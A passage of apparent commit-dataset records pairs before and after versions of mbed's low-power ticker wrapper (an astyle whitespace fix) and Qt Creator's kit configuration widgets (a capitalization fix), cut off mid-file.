min_cycles_until_match)\n : _intf(data->interface), _min_count_between_writes(min_cycles_between_writes + 1), _min_count_until_match(min_cycles_until_match + 1), _suspended(false)\n{\n core_util_critical_section_enter();\n\n this->data.interface = interface;\n this->data.queue = data->queue;\n _reset();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::irq_handler(ticker_irq_handler_type handler)\n{\n core_util_critical_section_enter();\n\n if (_suspended) {\n if (handler) {\n handler(&data);\n }\n core_util_critical_section_exit();\n return;\n }\n\n if (_pending_fire_now || _match_check(_intf->read())) {\n _timeout.detach();\n _pending_timeout = false;\n _pending_match = false;\n _pending_fire_now = false;\n if (handler) {\n handler(&data);\n }\n } else {\n \/\/ Spurious interrupt\n _intf->clear_interrupt();\n }\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::suspend()\n{\n core_util_critical_section_enter();\n\n \/\/ Wait until rescheduling is allowed\n while (!_set_interrupt_allowed) {\n timestamp_t current = _intf->read();\n if (((current - _last_actual_set_interrupt) & _mask) >= _min_count_between_writes) {\n _set_interrupt_allowed = true;\n }\n }\n\n _reset();\n _suspended = true;\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::resume()\n{\n core_util_critical_section_enter();\n\n _suspended = false;\n\n core_util_critical_section_exit();\n}\n\nbool LowPowerTickerWrapper::timeout_pending()\n{\n core_util_critical_section_enter();\n\n bool pending = _pending_timeout;\n\n core_util_critical_section_exit();\n return pending;\n}\n\nvoid LowPowerTickerWrapper::init()\n{\n core_util_critical_section_enter();\n\n _reset();\n _intf->init();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::free()\n{\n core_util_critical_section_enter();\n\n _reset();\n _intf->free();\n\n core_util_critical_section_exit();\n}\n\nuint32_t LowPowerTickerWrapper::read()\n{\n core_util_critical_section_enter();\n\n timestamp_t current = _intf->read();\n if (_match_check(current)) {\n _intf->fire_interrupt();\n }\n\n core_util_critical_section_exit();\n return current;\n}\n\nvoid LowPowerTickerWrapper::set_interrupt(timestamp_t timestamp)\n{\n core_util_critical_section_enter();\n\n _last_set_interrupt = _intf->read();\n _cur_match_time = timestamp;\n _pending_match = true;\n _schedule_match(_last_set_interrupt);\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::disable_interrupt()\n{\n core_util_critical_section_enter();\n\n _intf->disable_interrupt();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::clear_interrupt()\n{\n core_util_critical_section_enter();\n\n _intf->clear_interrupt();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::fire_interrupt()\n{\n core_util_critical_section_enter();\n\n _pending_fire_now = 1;\n _intf->fire_interrupt();\n\n core_util_critical_section_exit();\n}\n\nconst ticker_info_t *LowPowerTickerWrapper::get_info()\n{\n\n core_util_critical_section_enter();\n\n const ticker_info_t *info = _intf->get_info();\n\n core_util_critical_section_exit();\n return info;\n}\n\nvoid LowPowerTickerWrapper::_reset()\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n _timeout.detach();\n _pending_timeout = false;\n _pending_match = false;\n _pending_fire_now = false;\n _set_interrupt_allowed = true;\n _cur_match_time = 0;\n _last_set_interrupt = 0;\n _last_actual_set_interrupt = 0;\n\n const ticker_info_t *info = _intf->get_info();\n if (info->bits >= 32) {\n _mask = 0xffffffff;\n } else {\n _mask = ((uint64_t)1 << info->bits) - 1;\n }\n\n \/\/ Round us_per_tick up\n _us_per_tick = (1000000 + info->frequency - 1) \/ info->frequency;\n}\n\nvoid LowPowerTickerWrapper::_timeout_handler()\n{\n core_util_critical_section_enter();\n _pending_timeout = false;\n\n timestamp_t current = _intf->read();\n \/* Add extra check for '_last_set_interrupt == _cur_match_time'\n * \n * When '_last_set_interrupt == _cur_match_time', _ticker_match_interval_passed sees it as\n * one-round interval rather than just-pass, so add extra check for it. In rare cases, we\n * may trap in _timeout_handler\/_schedule_match loop. This check can break it.\n *\/\n if ((_last_set_interrupt == _cur_match_time) ||\n _ticker_match_interval_passed(_last_set_interrupt, current, _cur_match_time)) {\n _intf->fire_interrupt();\n } else {\n _schedule_match(current);\n }\n\n core_util_critical_section_exit();\n}\n\nbool LowPowerTickerWrapper::_match_check(timestamp_t current)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n if (!_pending_match) {\n return false;\n }\n \/* Add extra check for '_last_set_interrupt == _cur_match_time' as above *\/\n return (_last_set_interrupt == _cur_match_time) ||\n _ticker_match_interval_passed(_last_set_interrupt, current, _cur_match_time);\n}\n\nuint32_t LowPowerTickerWrapper::_lp_ticks_to_us(uint32_t ticks)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n \/\/ Add 4 microseconds to round up the micro second ticker time (which has a frequency of at least 250KHz - 4us period)\n return _us_per_tick * ticks + 4;\n}\n\nvoid LowPowerTickerWrapper::_schedule_match(timestamp_t current)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n \/\/ Check if _intf->set_interrupt is allowed\n if (!_set_interrupt_allowed) {\n if (((current - _last_actual_set_interrupt) & _mask) >= _min_count_between_writes) {\n _set_interrupt_allowed = true;\n }\n }\n\n uint32_t cycles_until_match = (_cur_match_time - current) & _mask;\n bool too_close = cycles_until_match < _min_count_until_match;\n\n if (!_set_interrupt_allowed) {\n\n \/\/ Can't use _intf->set_interrupt so use microsecond Timeout instead\n\n \/\/ Speed optimization - if a timer has already been scheduled\n \/\/ then don't schedule it again.\n if (!_pending_timeout) {\n uint32_t ticks = cycles_until_match < _min_count_until_match ? cycles_until_match : _min_count_until_match;\n _timeout.attach_us(mbed::callback(this, &LowPowerTickerWrapper::_timeout_handler), _lp_ticks_to_us(ticks));\n _pending_timeout = true;\n }\n return;\n }\n\n if (!too_close) {\n\n \/\/ Schedule LP ticker\n _intf->set_interrupt(_cur_match_time);\n current = _intf->read();\n _last_actual_set_interrupt = current;\n _set_interrupt_allowed = false;\n\n \/\/ Check for overflow\n uint32_t new_cycles_until_match = (_cur_match_time - current) & _mask;\n if (new_cycles_until_match > cycles_until_match) {\n \/\/ Overflow so fire now\n _intf->fire_interrupt();\n return;\n }\n\n \/\/ Update variables with new time\n cycles_until_match = new_cycles_until_match;\n too_close = cycles_until_match < _min_count_until_match;\n }\n\n if (too_close) {\n\n \/\/ Low power ticker incremented to less than _min_count_until_match\n \/\/ so low power ticker may not fire. Use Timeout to ensure it does fire.\n uint32_t ticks = cycles_until_match < _min_count_until_match ? cycles_until_match : _min_count_until_match;\n _timeout.attach_us(mbed::callback(this, &LowPowerTickerWrapper::_timeout_handler), _lp_ticks_to_us(ticks));\n _pending_timeout = true;\n return;\n }\n}\n<commit_msg>low power ticker: fix astyle<commit_after>\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"hal\/LowPowerTickerWrapper.h\"\n#include \"platform\/Callback.h\"\n\nLowPowerTickerWrapper::LowPowerTickerWrapper(const ticker_data_t *data, const ticker_interface_t *interface, uint32_t min_cycles_between_writes, uint32_t min_cycles_until_match)\n : _intf(data->interface), _min_count_between_writes(min_cycles_between_writes + 1), _min_count_until_match(min_cycles_until_match + 1), _suspended(false)\n{\n core_util_critical_section_enter();\n\n this->data.interface = interface;\n this->data.queue = data->queue;\n _reset();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::irq_handler(ticker_irq_handler_type handler)\n{\n core_util_critical_section_enter();\n\n if (_suspended) {\n if (handler) {\n handler(&data);\n }\n core_util_critical_section_exit();\n return;\n }\n\n if (_pending_fire_now || _match_check(_intf->read())) {\n _timeout.detach();\n _pending_timeout = false;\n _pending_match = false;\n _pending_fire_now = false;\n if (handler) {\n handler(&data);\n }\n } else {\n \/\/ Spurious interrupt\n _intf->clear_interrupt();\n }\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::suspend()\n{\n core_util_critical_section_enter();\n\n \/\/ Wait until rescheduling is allowed\n while (!_set_interrupt_allowed) {\n timestamp_t current = _intf->read();\n if (((current - _last_actual_set_interrupt) & _mask) >= _min_count_between_writes) {\n _set_interrupt_allowed = true;\n }\n }\n\n _reset();\n _suspended = true;\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::resume()\n{\n core_util_critical_section_enter();\n\n _suspended = false;\n\n core_util_critical_section_exit();\n}\n\nbool LowPowerTickerWrapper::timeout_pending()\n{\n core_util_critical_section_enter();\n\n bool pending = _pending_timeout;\n\n core_util_critical_section_exit();\n return pending;\n}\n\nvoid LowPowerTickerWrapper::init()\n{\n core_util_critical_section_enter();\n\n _reset();\n _intf->init();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::free()\n{\n core_util_critical_section_enter();\n\n _reset();\n _intf->free();\n\n core_util_critical_section_exit();\n}\n\nuint32_t LowPowerTickerWrapper::read()\n{\n core_util_critical_section_enter();\n\n timestamp_t current = _intf->read();\n if (_match_check(current)) {\n _intf->fire_interrupt();\n }\n\n core_util_critical_section_exit();\n return current;\n}\n\nvoid LowPowerTickerWrapper::set_interrupt(timestamp_t timestamp)\n{\n core_util_critical_section_enter();\n\n _last_set_interrupt = _intf->read();\n _cur_match_time = timestamp;\n _pending_match = true;\n _schedule_match(_last_set_interrupt);\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::disable_interrupt()\n{\n core_util_critical_section_enter();\n\n _intf->disable_interrupt();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::clear_interrupt()\n{\n core_util_critical_section_enter();\n\n _intf->clear_interrupt();\n\n core_util_critical_section_exit();\n}\n\nvoid LowPowerTickerWrapper::fire_interrupt()\n{\n core_util_critical_section_enter();\n\n _pending_fire_now = 1;\n _intf->fire_interrupt();\n\n core_util_critical_section_exit();\n}\n\nconst ticker_info_t *LowPowerTickerWrapper::get_info()\n{\n\n core_util_critical_section_enter();\n\n const ticker_info_t *info = _intf->get_info();\n\n core_util_critical_section_exit();\n return info;\n}\n\nvoid LowPowerTickerWrapper::_reset()\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n _timeout.detach();\n _pending_timeout = false;\n _pending_match = false;\n _pending_fire_now = false;\n _set_interrupt_allowed = true;\n _cur_match_time = 0;\n _last_set_interrupt = 0;\n _last_actual_set_interrupt = 0;\n\n const ticker_info_t *info = _intf->get_info();\n if (info->bits >= 32) {\n _mask = 0xffffffff;\n } else {\n _mask = ((uint64_t)1 << info->bits) - 1;\n }\n\n \/\/ Round us_per_tick up\n _us_per_tick = (1000000 + info->frequency - 1) \/ info->frequency;\n}\n\nvoid LowPowerTickerWrapper::_timeout_handler()\n{\n core_util_critical_section_enter();\n _pending_timeout = false;\n\n timestamp_t current = _intf->read();\n \/* Add extra check for '_last_set_interrupt == _cur_match_time'\n *\n * When '_last_set_interrupt == _cur_match_time', _ticker_match_interval_passed sees it as\n * one-round interval rather than just-pass, so add extra check for it. In rare cases, we\n * may trap in _timeout_handler\/_schedule_match loop. This check can break it.\n *\/\n if ((_last_set_interrupt == _cur_match_time) ||\n _ticker_match_interval_passed(_last_set_interrupt, current, _cur_match_time)) {\n _intf->fire_interrupt();\n } else {\n _schedule_match(current);\n }\n\n core_util_critical_section_exit();\n}\n\nbool LowPowerTickerWrapper::_match_check(timestamp_t current)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n if (!_pending_match) {\n return false;\n }\n \/* Add extra check for '_last_set_interrupt == _cur_match_time' as above *\/\n return (_last_set_interrupt == _cur_match_time) ||\n _ticker_match_interval_passed(_last_set_interrupt, current, _cur_match_time);\n}\n\nuint32_t LowPowerTickerWrapper::_lp_ticks_to_us(uint32_t ticks)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n \/\/ Add 4 microseconds to round up the micro second ticker time (which has a frequency of at least 250KHz - 4us period)\n return _us_per_tick * ticks + 4;\n}\n\nvoid LowPowerTickerWrapper::_schedule_match(timestamp_t current)\n{\n MBED_ASSERT(core_util_in_critical_section());\n\n \/\/ Check if _intf->set_interrupt is allowed\n if (!_set_interrupt_allowed) {\n if (((current - _last_actual_set_interrupt) & _mask) >= _min_count_between_writes) {\n _set_interrupt_allowed = true;\n }\n }\n\n uint32_t cycles_until_match = (_cur_match_time - current) & _mask;\n bool too_close = cycles_until_match < _min_count_until_match;\n\n if (!_set_interrupt_allowed) {\n\n \/\/ Can't use _intf->set_interrupt so use microsecond Timeout instead\n\n \/\/ Speed optimization - if a timer has already been scheduled\n \/\/ then don't schedule it again.\n if (!_pending_timeout) {\n uint32_t ticks = cycles_until_match < _min_count_until_match ? cycles_until_match : _min_count_until_match;\n _timeout.attach_us(mbed::callback(this, &LowPowerTickerWrapper::_timeout_handler), _lp_ticks_to_us(ticks));\n _pending_timeout = true;\n }\n return;\n }\n\n if (!too_close) {\n\n \/\/ Schedule LP ticker\n _intf->set_interrupt(_cur_match_time);\n current = _intf->read();\n _last_actual_set_interrupt = current;\n _set_interrupt_allowed = false;\n\n \/\/ Check for overflow\n uint32_t new_cycles_until_match = (_cur_match_time - current) & _mask;\n if (new_cycles_until_match > cycles_until_match) {\n \/\/ Overflow so fire now\n _intf->fire_interrupt();\n return;\n }\n\n \/\/ Update variables with new time\n cycles_until_match = new_cycles_until_match;\n too_close = cycles_until_match < _min_count_until_match;\n }\n\n if (too_close) {\n\n \/\/ Low power ticker incremented to less than _min_count_until_match\n \/\/ so low power ticker may not fire. Use Timeout to ensure it does fire.\n uint32_t ticks = cycles_until_match < _min_count_until_match ? cycles_until_match : _min_count_until_match;\n _timeout.attach_us(mbed::callback(this, &LowPowerTickerWrapper::_timeout_handler), _lp_ticks_to_us(ticks));\n _pending_timeout = true;\n return;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2015 The Qt Company Ltd.\n** Contact: http:\/\/www.qt.io\/licensing\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms and\n** conditions see http:\/\/www.qt.io\/terms-conditions. For further information\n** use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"kitinformationconfigwidget.h\"\n\n#include \"devicesupport\/devicemanager.h\"\n#include \"devicesupport\/devicemanagermodel.h\"\n#include \"devicesupport\/idevicefactory.h\"\n#include \"projectexplorerconstants.h\"\n#include \"kit.h\"\n#include \"kitinformation.h\"\n#include \"toolchain.h\"\n#include \"toolchainmanager.h\"\n#include \"environmentwidget.h\"\n\n#include <coreplugin\/icore.h>\n#include <extensionsystem\/pluginmanager.h>\n#include <utils\/algorithm.h>\n#include <utils\/fancylineedit.h>\n#include <utils\/environment.h>\n#include <utils\/qtcassert.h>\n#include <utils\/pathchooser.h>\n\n#include <QComboBox>\n#include <QDialog>\n#include <QDialogButtonBox>\n#include <QFontMetrics>\n#include <QLabel>\n#include <QPlainTextEdit>\n#include <QPushButton>\n#include <QVBoxLayout>\n\nusing namespace Core;\n\nnamespace ProjectExplorer {\nnamespace Internal {\n\n\/\/ --------------------------------------------------------------------------\n\/\/ SysRootInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nSysRootInformationConfigWidget::SysRootInformationConfigWidget(Kit *k, const KitInformation *ki) :\n KitConfigWidget(k, ki),\n m_ignoreChange(false)\n{\n m_chooser = new Utils::PathChooser;\n m_chooser->setExpectedKind(Utils::PathChooser::ExistingDirectory);\n m_chooser->setHistoryCompleter(QLatin1String(\"PE.SysRoot.History\"));\n m_chooser->setFileName(SysRootKitInformation::sysRoot(k));\n connect(m_chooser, SIGNAL(changed(QString)), this, SLOT(pathWasChanged()));\n}\n\nSysRootInformationConfigWidget::~SysRootInformationConfigWidget()\n{\n delete m_chooser;\n}\n\nQString SysRootInformationConfigWidget::displayName() const\n{\n return tr(\"Sysroot:\");\n}\n\nQString SysRootInformationConfigWidget::toolTip() const\n{\n return tr(\"The root directory of the system image to use.<br>\"\n \"Leave empty when building for the desktop.\");\n}\n\nvoid SysRootInformationConfigWidget::refresh()\n{\n if (!m_ignoreChange)\n m_chooser->setFileName(SysRootKitInformation::sysRoot(m_kit));\n}\n\nvoid SysRootInformationConfigWidget::makeReadOnly()\n{\n m_chooser->setReadOnly(true);\n}\n\nQWidget *SysRootInformationConfigWidget::mainWidget() const\n{\n return m_chooser->lineEdit();\n}\n\nQWidget *SysRootInformationConfigWidget::buttonWidget() const\n{\n return m_chooser->buttonAtIndex(0);\n}\n\nvoid SysRootInformationConfigWidget::pathWasChanged()\n{\n m_ignoreChange = true;\n SysRootKitInformation::setSysRoot(m_kit, m_chooser->fileName());\n m_ignoreChange = false;\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ ToolChainInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nToolChainInformationConfigWidget::ToolChainInformationConfigWidget(Kit *k, const KitInformation *ki) :\n KitConfigWidget(k, ki),\n m_ignoreChanges(false)\n{\n m_comboBox = new QComboBox;\n m_comboBox->setEnabled(false);\n m_comboBox->setToolTip(toolTip());\n\n refresh();\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentToolChainChanged(int)));\n\n m_manageButton = new QPushButton(KitConfigWidget::msgManage());\n m_manageButton->setContentsMargins(0, 0, 0, 0);\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(manageToolChains()));\n}\n\nToolChainInformationConfigWidget::~ToolChainInformationConfigWidget()\n{\n delete m_comboBox;\n delete m_manageButton;\n}\n\nQString ToolChainInformationConfigWidget::displayName() const\n{\n return tr(\"Compiler:\");\n}\n\nQString ToolChainInformationConfigWidget::toolTip() const\n{\n return tr(\"The compiler to use for building.<br>\"\n \"Make sure the compiler will produce binaries compatible with the target device, \"\n \"Qt version and other libraries used.\");\n}\n\nvoid ToolChainInformationConfigWidget::refresh()\n{\n m_ignoreChanges = true;\n m_comboBox->clear();\n foreach (ToolChain *tc, ToolChainManager::toolChains())\n m_comboBox->addItem(tc->displayName(), tc->id());\n\n m_comboBox->setCurrentIndex(indexOf(ToolChainKitInformation::toolChain(m_kit)));\n m_ignoreChanges = false;\n}\n\nvoid ToolChainInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nQWidget *ToolChainInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQWidget *ToolChainInformationConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\nvoid ToolChainInformationConfigWidget::manageToolChains()\n{\n ICore::showOptionsDialog(Constants::TOOLCHAIN_SETTINGS_PAGE_ID, buttonWidget());\n}\n\nvoid ToolChainInformationConfigWidget::currentToolChainChanged(int idx)\n{\n if (m_ignoreChanges)\n return;\n\n const QString id = m_comboBox->itemData(idx).toString();\n ToolChainKitInformation::setToolChain(m_kit, ToolChainManager::findToolChain(id));\n}\n\nvoid ToolChainInformationConfigWidget::updateComboBox()\n{\n \/\/ remove unavailable tool chain:\n int pos = indexOf(0);\n if (pos >= 0)\n m_comboBox->removeItem(pos);\n\n if (m_comboBox->count() == 0) {\n m_comboBox->addItem(tr(\"<No compiler available>\"), QString());\n m_comboBox->setEnabled(false);\n } else {\n m_comboBox->setEnabled(true);\n }\n}\n\nint ToolChainInformationConfigWidget::indexOf(const ToolChain *tc)\n{\n const QString id = tc ? tc->id() : QString();\n for (int i = 0; i < m_comboBox->count(); ++i) {\n if (id == m_comboBox->itemData(i).toString())\n return i;\n }\n return -1;\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ DeviceTypeInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nDeviceTypeInformationConfigWidget::DeviceTypeInformationConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki), m_comboBox(new QComboBox)\n{\n QList<IDeviceFactory *> factories\n = ExtensionSystem::PluginManager::getObjects<IDeviceFactory>();\n foreach (IDeviceFactory *factory, factories) {\n foreach (Id id, factory->availableCreationIds())\n m_comboBox->addItem(factory->displayNameForId(id), id.uniqueIdentifier());\n }\n\n m_comboBox->setToolTip(toolTip());\n\n refresh();\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentTypeChanged(int)));\n}\n\nDeviceTypeInformationConfigWidget::~DeviceTypeInformationConfigWidget()\n{\n delete m_comboBox;\n}\n\nQWidget *DeviceTypeInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQString DeviceTypeInformationConfigWidget::displayName() const\n{\n return tr(\"Device type:\");\n}\n\nQString DeviceTypeInformationConfigWidget::toolTip() const\n{\n return tr(\"The type of device to run applications on.\");\n}\n\nvoid DeviceTypeInformationConfigWidget::refresh()\n{\n Id devType = DeviceTypeKitInformation::deviceTypeId(m_kit);\n if (!devType.isValid())\n m_comboBox->setCurrentIndex(-1);\n for (int i = 0; i < m_comboBox->count(); ++i) {\n if (m_comboBox->itemData(i).toInt() == devType.uniqueIdentifier()) {\n m_comboBox->setCurrentIndex(i);\n break;\n }\n }\n}\n\nvoid DeviceTypeInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nvoid DeviceTypeInformationConfigWidget::currentTypeChanged(int idx)\n{\n Id type = idx < 0 ? Id() : Id::fromUniqueIdentifier(m_comboBox->itemData(idx).toInt());\n DeviceTypeKitInformation::setDeviceTypeId(m_kit, type);\n}\n\n\/\/ --------------------------------------------------------------------------\n\/\/ DeviceInformationConfigWidget:\n\/\/ --------------------------------------------------------------------------\n\nDeviceInformationConfigWidget::DeviceInformationConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki),\n m_isReadOnly(false),\n m_ignoreChange(false),\n m_comboBox(new QComboBox),\n m_model(new DeviceManagerModel(DeviceManager::instance()))\n{\n m_comboBox->setModel(m_model);\n\n m_manageButton = new QPushButton(KitConfigWidget::msgManage());\n\n refresh();\n m_comboBox->setToolTip(toolTip());\n\n connect(m_model, SIGNAL(modelAboutToBeReset()), SLOT(modelAboutToReset()));\n connect(m_model, SIGNAL(modelReset()), SLOT(modelReset()));\n connect(m_comboBox, SIGNAL(currentIndexChanged(int)), this, SLOT(currentDeviceChanged()));\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(manageDevices()));\n}\n\nDeviceInformationConfigWidget::~DeviceInformationConfigWidget()\n{\n delete m_comboBox;\n delete m_model;\n delete m_manageButton;\n}\n\nQWidget *DeviceInformationConfigWidget::mainWidget() const\n{\n return m_comboBox;\n}\n\nQString DeviceInformationConfigWidget::displayName() const\n{\n return tr(\"Device:\");\n}\n\nQString DeviceInformationConfigWidget::toolTip() const\n{\n return tr(\"The device to run the applications on.\");\n}\n\nvoid DeviceInformationConfigWidget::refresh()\n{\n m_model->setTypeFilter(DeviceTypeKitInformation::deviceTypeId(m_kit));\n m_comboBox->setCurrentIndex(m_model->indexOf(DeviceKitInformation::device(m_kit)));\n}\n\nvoid DeviceInformationConfigWidget::makeReadOnly()\n{\n m_comboBox->setEnabled(false);\n}\n\nQWidget *DeviceInformationConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\nvoid DeviceInformationConfigWidget::manageDevices()\n{\n ICore::showOptionsDialog(Constants::DEVICE_SETTINGS_PAGE_ID, buttonWidget());\n}\n\nvoid DeviceInformationConfigWidget::modelAboutToReset()\n{\n m_selectedId = m_model->deviceId(m_comboBox->currentIndex());\n m_ignoreChange = true;\n}\n\nvoid DeviceInformationConfigWidget::modelReset()\n{\n m_comboBox->setCurrentIndex(m_model->indexForId(m_selectedId));\n m_ignoreChange = false;\n}\n\nvoid DeviceInformationConfigWidget::currentDeviceChanged()\n{\n if (m_ignoreChange)\n return;\n DeviceKitInformation::setDeviceId(m_kit, m_model->deviceId(m_comboBox->currentIndex()));\n}\n\n\/\/ --------------------------------------------------------------------\n\/\/ KitEnvironmentConfigWidget:\n\/\/ --------------------------------------------------------------------\n\nKitEnvironmentConfigWidget::KitEnvironmentConfigWidget(Kit *workingCopy, const KitInformation *ki) :\n KitConfigWidget(workingCopy, ki),\n m_summaryLabel(new QLabel),\n m_manageButton(new QPushButton),\n m_dialog(0),\n m_editor(0)\n{\n refresh();\n m_manageButton->setText(tr(\"Change...\"));\n connect(m_manageButton, SIGNAL(clicked()), this, SLOT(editEnvironmentChanges()));\n}\n\nQWidget *KitEnvironmentConfigWidget::mainWidget() const\n{\n return m_summaryLabel;\n}\n\nQString KitEnvironmentConfigWidget::displayName() const\n{\n return tr(\"Environment:\");\n}\n\nQString KitEnvironmentConfigWidget::toolTip() const\n{\n return tr(\"Additional environment settings when using this kit.\");\n}\n\nvoid KitEnvironmentConfigWidget::refresh()\n{\n QList<Utils::EnvironmentItem> changes = EnvironmentKitInformation::environmentChanges(m_kit);\n Utils::sort(changes, [](const Utils::EnvironmentItem &lhs, const Utils::EnvironmentItem &rhs)\n { return QString::localeAwareCompare(lhs.name, rhs.name) < 0; });\n QString shortSummary = Utils::EnvironmentItem::toStringList(changes).join(QLatin1String(\"; \"));\n QFontMetrics fm(m_summaryLabel->font());\n shortSummary = fm.elidedText(shortSummary, Qt::ElideRight, m_summaryLabel->width());\n m_summaryLabel->setText(shortSummary.isEmpty() ? tr(\"No Changes to apply\") : shortSummary);\n if (m_editor)\n m_editor->setPlainText(Utils::EnvironmentItem::toStringList(changes).join(QLatin1Char('\\n')));\n}\n\nvoid KitEnvironmentConfigWidget::makeReadOnly()\n{\n m_manageButton->setEnabled(false);\n if (m_dialog)\n m_dialog->reject();\n}\n\nvoid KitEnvironmentConfigWidget::editEnvironmentChanges()\n{\n if (m_dialog) {\n m_dialog->activateWindow();\n m_dialog->raise();\n return;\n }\n\n QTC_ASSERT(!m_editor, return);\n\n m_dialog = new QDialog(m_summaryLabel);\n m_dialog->setWindowTitle(tr(\"Edit Environment Changes\"));\n QVBoxLayout *layout = new QVBoxLayout(m_dialog);\n m_editor = new QPlainTextEdit;\n QDialogButtonBox *buttons = new QDialogButtonBox(QDialogButtonBox::Ok|QDialogButtonBox::Apply|QDialogButtonBox::Cancel);\n\n layout->addWidget(m_editor);\n layout->addWidget(buttons);\n\n connect(buttons, SIGNAL(accepted()), m_dialog, SLOT(accept()));\n connect(buttons, SIGNAL(rejected()), m_dialog, SLOT(reject()));\n connect(m_dialog, SIGNAL(accepted()), this, SLOT(acceptChangesDialog()));\n connect(m_dialog, SIGNAL(rejected()), this, SLOT(closeChangesDialog()));\n connect(buttons->button(QDialogButtonBox::Apply), SIGNAL(clicked()), this, SLOT(applyChanges()));\n\n refresh();\n m_dialog->show();\n}\n\nvoid KitEnvironmentConfigWidget::applyChanges()\n{\n QTC_ASSERT(m_editor, return);\n auto changes = Utils::EnvironmentItem::fromStringList(m_editor->toPlainText().split(QLatin1Char('\\n')));\n EnvironmentKitInformation::setEnvironmentChanges(m_kit, changes);\n}\n\nvoid KitEnvironmentConfigWidget::closeChangesDialog()\n{\n m_dialog->deleteLater();\n m_dialog = 0;\n m_editor = 0;\n}\n\nvoid KitEnvironmentConfigWidget::acceptChangesDialog()\n{\n applyChanges();\n closeChangesDialog();\n}\n\nQWidget *KitEnvironmentConfigWidget::buttonWidget() const\n{\n return m_manageButton;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace ProjectExplorer\n<commit_msg>ProjectExplorer: fix one more capitalization issue<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2015 The Qt Company Ltd.\n** Contact: http:\/\/www.qt.io\/licensing\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms and\n** conditions see http:\/\/www.qt.io\/terms-conditions. For further information\n** use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"kitinformationconfigwidget.h\"\n\n#include 